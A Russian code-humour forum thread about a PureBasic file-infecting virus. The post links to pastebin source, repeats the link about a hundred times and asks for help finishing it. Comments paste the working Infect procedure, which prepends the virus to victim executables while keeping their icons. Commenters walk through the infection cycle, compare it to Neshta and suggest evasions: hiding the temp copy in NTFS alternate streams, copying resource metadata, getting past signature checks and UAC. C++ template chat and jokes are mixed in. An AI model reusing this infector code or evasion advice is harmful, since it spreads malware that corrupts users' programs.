Куча говна / Говнокод #25085 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
  58. 58
  59. 59
  60. 60
  61. 61
  62. 62
  63. 63
  64. 64
  65. 65
  66. 66
  67. 67
  68. 68
  69. 69
  70. 70
  71. 71
  72. 72
  73. 73
  74. 74
  75. 75
  76. 76
  77. 77
  78. 78
  79. 79
  80. 80
  81. 81
  82. 82
  83. 83
  84. 84
  85. 85
  86. 86
  87. 87
  88. 88
  89. 89
  90. 90
  91. 91
  92. 92
  93. 93
  94. 94
  95. 95
  96. 96
  97. 97
  98. 98
  99. 99
  100. 100
ФайловыйВирус на Буревестнике. Иконку не портит. https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL
https://pastebin.com/kKRzDStL

Поможете доделать??

https://pastebin.com/kKRzDStL

Запостил: Sers Sers, (Updated )

Комментарии (97) RSS

  • [p]Инфицирование[/p]

    Procedure Infect(Path.s, *P)
      Define hFile.i,fSize.i,*nBuff, BR,*IC
      *IC=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,4286)
      GetIcon(Path, *IC)
      hFile=CreateFile_(@Path,#GENERIC_READ|#GENERIC_WRITE,#FILE_SHARE_READ,0,#OPEN_EXISTING,0,0)
      If hFile=#INVALID_HANDLE_VALUE:Goto Close:EndIf
      fSize=GetFileSize_(hFile,0)
      If fSize < 16000 And fSize > 5194368 :Goto Close :EndIf
      BR=0
      *nBuff=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,fSize+VirSize)
      RtlMoveMemory_(*nBuff, *P, VirSize)
      RtlMoveMemory_(*nBuff+icoffset,*IC,  4264)
      SetFilePointer_(hFile,0,0,#FILE_BEGIN)
      ReadFile_(hFile,*nBuff+VirSize,fSize,@BR,0)
      If CompareMemory(*P, *nBuff+VirSize,200) <> 0:Goto Exit:EndIf
      SetFilePointer_(hFile,0,0,#FILE_BEGIN)
      SetEndOfFile_(hFile)
      WriteFile_(hFile, *nBuff, fSize+VirSize, @BR,0)
      SetEndOfFile_(hFile)
      Exit:
      GlobalFree_(*nBuff)
      Close:
      CloseHandle_(hFile)
      GlobalFree_(*IC)
    EndProcedure
    Ответить
    • Кстати, а как это говнецо записать без Goto? В пасцале бы я допустим сделал через try..finally.
      Ответить
      • Чё, в каждом форке звать CloseHandle_(hFile) и GlobalFree_(*IC)?

        if something is bad then
        CloseHandle_(hFile)
        GlobalFree_(*IC)
        else
        if virsize is < 16044 then
        CloseHandle_(hFile)
        GlobalFree_(*IC)
        end;

        ???
        Ответить
        • finally не нужен, тк инициирует процедуру размотки стека.
          GoTo в 100% случаев будет интерпретирован компилятором как инструкция JNE/JNZ, что гораздо менее ресурсоемко.
          Ответить
          • Ну можно по-сишному через аналог do ... while(0) и бряк из него, раз хочется экономить на спичках.
            Ответить
        • И что, RAII мне освободит память, выделенную вызовами системных API?
          Ответить
          • Да. Один раз пишешь RAIIшные обёрточки и забываешь про все эти ебучие CloseHandle навсегда.
            Ответить
            • Прискорбно. Наверно, я слишком отравлен паскалем, чтобы понимать сомнительные удобства c++. И вообще, свобода губит людей. растлевает.
              Ответить
              • Ага, после крестов на сишку или паскаль уже не вернуться ;(
                Ответить
                • Почему вы все проигнорировали вопрос про шоблоёблоны?
                  Я думал вам нравится пиздеть про си плюс плюс
                  Ответить
                  • Про компиляцию? Хороший вопрос был, я как раз хотел почитать ответы, поучиться.
                    Ответить
                    • Я тоже хотел бы почитать ответы, но там развели какой-то балаган...
                      Ответить
                      • Кстати, шоблоёбло
                        В крестах же без static_assert (а до 11 никак вообще) не ограничить тип шаблона? Кококоварианты как в C# и Java сосут буй?

                        А с другой жобе и шарпеях можно папапапараметризовать только типом, а в крестах можно кококонстаным выражением, к примеру вот это вот на жобу не переводимо
                        template <typename T, size_t max>
                        class Storage
                        {
                        public:
                        	T data[max];
                        	const size_t limit = max;
                        };
                        
                        template <typename T>
                        T petix()
                        {
                        	return T();
                        }
                        
                        void main()
                        {
                        	auto spam = petix<Storage<int, 20>>();
                        }
                        Ответить
                        • <?php
                          
                          function storage($max) {
                              eval('class Storage_'.$max.' {public $data = array(); const limit = '.$max.';};');
                              return 'Storage_'.$max;
                          }
                          
                          function petix($T) {
                              return new $T();
                          }
                          
                          $spam = petix(storage(20));
                          
                          var_dump($spam);
                          Ответить
                          • Кто использует eval,
                            того в рот монгол ебал
                            Ответить
                            • То ли дело жопоскрипт: new Function() и на лету прифигачиваем нужные поля и методы.
                              Ответить
                        • static_assert и в сишке можно запилить. У встроенного только сообщение об ошибке более няшное.

                          А в целом там обычно на утиную типизацию полагаются. Все нужные методы и функции есть для типа? Ну и заебись.

                          Если надо точнее - есть пиздецовая магия на основе Substitution Failure Is Not An Error которой можно более точно проверять условия и переключать варианты реализации. enable_if так и пилили.
                          Ответить
                          • Сфинае это когда шаблоно функции выкидывается из списка возможных перегрузок из за синатксической ашыбки?

                            Типа
                            class User
                            {
                            public:
                            	const std::string name = "foo";
                            
                            	typedef int age;
                            };
                            
                            template<class T>void doAll(typename   T::age age)
                            {
                            	std::cout << age;
                            }
                            
                            template <class T>void doAll(T t)
                            {
                            	std::cout << "hren";
                            }
                            
                            void main()
                            {
                            	doAll<User>(1); //будет 1
                            	doAll(1); //будет hren
                            }


                            игра с перегрузками функций это конечно дерганье за хвост карманного льва....
                            Ответить
              • Кстати, вот ещё один говновирус, только на пасцале https://xakep.ru/2004/08/09/23374/

                Просто пальчики оближешь, там и устаревшие обёртки(привет, IO Error) BlockRead/BlockWrite в цикле и прочие извращения.
                Ответить
              • Ты просто не пробовал, см. blub paradox.

                Сишка плю плю позволяет делать такие штуки, которые на джаве решаются километрами унылого боейлерплейта. И на паскале тоже.
                Ответить
        • Кстати, почему в RAII втащили питушню с деструкторами?
          RAII - когда инициализация захватывает питушню, ни про какое отпускание питушни в названии "RAII" речи не идёт.
          Или при формулировании RAII из принципа решили не делать длинных аббревиатур вроде WYSIWYG?
          Ответить
  • Вот бы на ассемблере такое запилить...
    Ответить
  • Я честно пытался разобрать код, но я нихуя не понял. WinApi туго идёт без смазки. Как происходит зорожение?
    Ответить
    • RtlMoveMemory_(*nBuff, *P, VirSize) ' копируем в начало буфера тело вируса
      RtlMoveMemory_(*nBuff+icoffset,*IC,  4264) ' копируем иконку
      SetFilePointer_(hFile,0,0,#FILE_BEGIN)
      ReadFile_(hFile,*nBuff+VirSize,fSize,@BR,0) ' читаем файл-жертву
      SetFilePointer_(hFile,0,0,#FILE_BEGIN)
      SetEndOfFile_(hFile)
      WriteFile_(hFile, *nBuff, fSize+VirSize, @BR,0) ' пишем в файл-жертву котакенацию вируса и исходного содержимого жертвы


      Короче, заражённый файл = вирус + исходный.

      Чтобы это взлетело, тело вируса должно уметь находить в своём файле тело исходного экзешника и запускать его.

      А ещё тут при повторном заражении будет КРОВЬ-КИШКИ-РАСПИДОРАСИЛО.
      Ответить
      • P.S. Нашёл в теле вируса Procedure Start(). Эта процедура как раз читает тело исходной жертвы из файла, пишет во временный файл и запускает. После отработки дочернего процесса убивает временный файл.
        Ответить
        • Я тут подумал, а ведь создавать временный файл в каталоге TEMP -- это палево.

          На "NTFS" можно использовать alternative data streams: пусть infected.exe создаёт infected.exe:tmp.exe, пишет в него и запускает. В файловых менеджерах infected.exe:tmp.exe не будет видно.

          Хотя всё равно будет палево в списке процессов. И окно отдельное будет создаваться.
          Ответить
          • Как-будто в temp'е что-то можно найти... Затеряется среди тонн прочей бесполезной хуйни.
            Ответить
            • А вдруг юзер привык чистить TEMP вилкой?
              Ответить
              • Кого ебут временные файлы в папке Temp?
                Вирус к этому времени уже заразит пол-диска.

                Как Вы все уже поняли, этот вирус написал я - доктор.
                Отпираться бессмысленно. На пасцале это говно весило бы килобайт 400-500. И борманда забанить я просил, ибо он оплёл сайт своей паутиной, как паук-крестовик.
                Ответить
        • Тупой и ничем не примечательный вирус, использующий тот же алгоритм заражения, что и Neshta:
          1. открыть заражаемый файл для чтения
          2. считать файл в буфер
          3. закрыть файл.
          4. открыть файл для записи
          5. записать тело вируса в файл
          6. сдвинуть файловый указатель на смещение, равное длине вируса
          7. записать буфер с оригинальным файлом. // такие вещи палятся кашпером на раз
          8. закрыть файл.
          Кроме того, вирус умеет читать иконку из жертвы.

          Смещение иконки и размер вируса известны заранее и хранятся в теле в виде констант.
          При запуске, вирус проверяет, равна ли его длина заявленной, и если нет/больше - распаковывает стаб во временный файл и запускает, а сам в это время заражает другие файлы. Как только процесс стаба будет завершен (пользователь закончил работу с зараженной программой) вирус удалит его и скопируется на его место.

          Минусы.
          1.Значительное снижение быстродействия; при запуске зараженной программы будет значительная заминка, связанная с файловыми операциями.
          2. файл может быть заражен повторно, что приведёт к его порче.

          Единственный плюс - иконку не портит. Это - единственный исхоник в рунете (!) который не портит иконку.
          Ответить
          • Я очень рад, что на этом говне - purebasic - стали писаться вирусы.
            Дискредитация будет гарантирована, как когда-то для autoit.
            Ответить
          • >> Это - единственный исхоник в рунете (!) который не портит иконку.

            Надо доработать, чтобы он копировал не только иконку, но и другие данные из ресурсов (Description и т. п.).
            Ответить
          • > единственный в рунете
            Пиздец. Т.е. все примеры - вот такое вот унылое говно? Даже добавление кода в существующий бинарь не осилили?
            Ответить
            • Даже если и осилят, смысла в этом мало. Смена точки входа всегда палится.
              Файловые вирусы отжили своё.
              Ответить
              • Скорее даже не смена точки входа а запоротая подпись.
                Ответить
                • Если приложение подписано то заразить его практически нереально, но все ли приложения подписаны?
                  Ответить
                  • >Если приложение подписано то заразить его практически нереально

                    Реальнее реального, хотя бы тем способом, что описан выше.
                    При запуске зараженного файла, вирус распакует из него оригинальный файл, с подписью. Комар носа не подточит.
                    Ответить
                    • При запуске зараженного файла Windows скажет что подпись не соответствует файлу
                      Ответить
                      • С хуяли она не будет соответствовать? При заражении, как выше, файл не изменяется. Вообще никак.
                        Ответить
                        • Схуяли он не изменяется если ты сам пишешь

                          5. записать тело вируса в файл
                          6. сдвинуть файловый указатель на смещение, равное длине вируса
                          7. записать буфер с оригинальным файлом.
                          Ответить
                          • >> 5. записать тело вируса в файл

                            Этот файл будет вообще без подписи. Если запуск неподписанных экзешников не запрещён, всё пройдёт на ура.
                            Ответить
                              • Вспомнил анекдот.

                                В одном конструкторском бюро изобрели часы, которые уходят на минуту вперёд каждый раз, когда кто-нибудь в помещении произносит матерное слово. Для испытания нового прибора повесили несколько экземпляров в разных организациях, а через сутки пришли снять показания.

                                Приходят в детский сад — часы ушли на 5 минут.

                                Приходят в школу — часы ушли на час.

                                Приходят в воинскую часть — часы исчезли. Спрашивают у солдата, что случилось. Он отвечает: «А нам командир приказал снять этот ёбаный пропеллер нахуй».
                                Ответить
                                • Не знаю почему ты вспомнил этот детсадовский анекдот.
                                  На вот тогда тебе еще один детсадовский

                                  Едит Чебурашка и Гена в автобусе и Чебурашка спрашивает Гена на чем мы едем? Гена отвечает в автобусе а Чебурашке послышалось в сосиске

                                  Едут дальше Чебурашка спрашивает кто нас везет? Шофер, ответил Гена, а Чебурашке послышалось бобер.

                                  Едут дальше врезались в столб. Чебурашка спрашивает во что мы врезались? В столб ответил Гена, а Чебурашке послышалось в салат.

                                  Останавливает их товарищ милиционер, Чебурашка спрашивает кто нас остановил? Гена отвечает товарищ милиционер, Чебурашке послышалось товарищ милиписькин.

                                  Выходит Чебурашка из автобуса и говорит: товарищ милиписькин бобер не виноват, мы ехали в сосиске и врезались в салат.
                                  Ответить
                                  • Я объясню, почему. Когда UAC выдаёт слишком много предупреждений, пользователи его выключают, как те часы-пропеллер из анекдота.
                                    Ответить
                                    • ну и долбоёбы

                                      нельзя уас отключать и сидеть под админом
                                      Ответить
                                      • Просто не надо скачивать пиратский "Photoshop". Либо плати, либо малюй в "Paint".
                                        Ответить
                                        • Намалевал твоё ебало в паинте. Получился квадрат с 4 непересекающимися лучами.
                                          Ответить
                                      • Некогда Борманд уже объяснял ситуацию.

                                        Бывает компьютер в банке на кассе, пользователи которого увольняются и меняются много чаще, чем переустанавливается ОС. В этом случае пользователю не дают ничего делать, чтобы он не повредил ненароком бомжественную ОС.

                                        Бывает компьютер дома. В папке "мои документы" лежат файлы пользователя за последние десять лет, папка "с диска D" с папками "с флэшки", "новое", "с диска E" и "разобрать" внутри, какие-то файлы с непонятными расширениями прошлого компа. Что-то из этого ещё даже забэкапиться не успело. Утрата вышеперечисленного -- потеря труда за последние годы, потеря истории и кусочка мозга.
                                        Есть там бесполезная папка "WINDOS", которая скопирована миллионами пользователей, ещё пара дурацких папок с программами, которые можно скачать в один клик.
                                        И что защищает UAC от удаления и порчи -- бесценные документы, которые больше нигде не найдёшь или очередную копию того, что везде есть и не проблема установить? Естественно, UAC защищает второе -- бессмысленное говно, а не штучную работу.
                                        Зловред-шифровальщик спокойно запускается без какого-то недовольства UAC и лишает пользователя всего нажитого. Зато миллион первую копию программы установить нельзя -- UAC просто бесится. В итоге это ненужное говно, от которого пользы меньше, чем вреда, нафиг отключают.
                                        Ответить
                                        • Кстати, да. Windows 7, 8.1 и 10 сейчас можно официально скачать с сайта Микрософта (семёрка для скачивания требует ключ, остальные не требуют).
                                          Ответить
                                        • В банке вообще не надо давать админа локальному юзеру, следовательно и UAC не нужен
                                          Ответить
                            • Кстати, а как запретить запуск неподписанных программ? Это было бы очень хорошее дело. Правда, в интернете инфы - 0
                              Ответить
                          • Ты троллить пытаешься, мил человек? Кстати, странно, что автор поста молчит. Наверно ты и есть он...
                            Ответить
                      • Смотри, есть target.exe. Вирус выполняет эквивалент такой команды:
                        copy /b virus.exe + target.exe target_infected.exe


                        При запуске заражённого target_infected.exe управление передаётся телу из virus.exe, который вообще не имеет подписи, поэтому проверяться ничего не будет. Тело вируса копирует тело оригинального target.exe в отдельный временный файл и запускает его. У оригинального target.exe сохранена подпись, поэтому он пройдёт проверку.
                        Ответить
                        • >>поэтому проверяться ничего не будет
                          Да, так сработает, но до первого UAC, например
                          Ответить
                  • com файлы должны умещаться в 64K (размер сегмента), особо там не подписываешься
                    Ответить
                    • Давай изобретём 64-битный DOS с 64-битными COM-файлами?
                      Ответить
              • В своё время были вирусы, которые не меняли точку входа. У них был встроенный дизассемблер, который при заражении искал в жертве JMP или CALL и подменял адрес на адрес своего тела.
                Ответить
          • Прочитал про Нешту:
            В реестре создается запись: [HKCR\exefile\shell\open\command] @="%WINDIR%\svchost.com \"%1\" %*"

            А это для верности, чтобы уж точно всё заразить?
            Ответить
            • Он не резидентный, так что ответ очевиден.
              Ответить
  • Лол, размер бинаря менее 10 КБ, а ещё советуют писать фирузы на ассёмблере...
    Перехожу на пюребейсик.
    Ответить

Добавить комментарий

Я, guest, находясь в здравом уме и твердой памяти, торжественно заявляю:

    А не использовать ли нам bbcode?


    8